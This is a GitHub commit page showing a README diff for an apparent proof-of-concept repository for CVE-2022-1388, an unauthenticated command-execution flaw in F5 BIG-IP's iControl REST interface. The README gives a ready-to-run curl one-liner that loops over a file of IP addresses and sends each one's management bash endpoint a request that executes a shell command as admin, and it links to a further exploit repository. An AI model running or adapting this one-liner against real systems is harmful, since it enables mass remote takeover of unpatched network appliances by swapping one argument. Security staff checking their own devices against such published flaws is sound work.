Skip to content

Commit

Permalink
Update README.MD
Browse files Browse the repository at this point in the history
  • Loading branch information
shamo0 authored May 10, 2022
1 parent cb9565e commit c839c38
Showing 1 changed file with 8 additions and 4 deletions.
12 changes: 8 additions & 4 deletions README.MD
Original file line number Diff line number Diff line change
@@ -1,17 +1,21 @@
# BIG-IP iControl REST vulnerability CVE-2022-1388 PoC

![f5logo](f5.jpeg)

This vulnerability may allow an unauthenticated attacker with network access to the BIG-IP system through the management port and/or self IP addresses to execute arbitrary system commands, create or delete files, or disable services

## PoC

You can use the following curl one liner to check for the F5 BigIP vulnerability or use the provided python script.

```
```bash
cat ips.txt | while read ip; do curl -su admin -H "Content-Type: application/json" http://$ip/mgmt/tm/util/bash -d '{"command":"run","utilCmdArgs":"-c id"}';done
```


## References

https://support.f5.com/csp/article/K23605346
https://github.com/ZephrFish/F5-CVE-2022-1388-Exploit
<ul>
<li>https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1388</li>
<li>https://support.f5.com/csp/article/K23605346</li>
<li>https://github.com/ZephrFish/F5-CVE-2022-1388-Exploit</li>
</ul>

0 comments on commit c839c38

Please sign in to comment.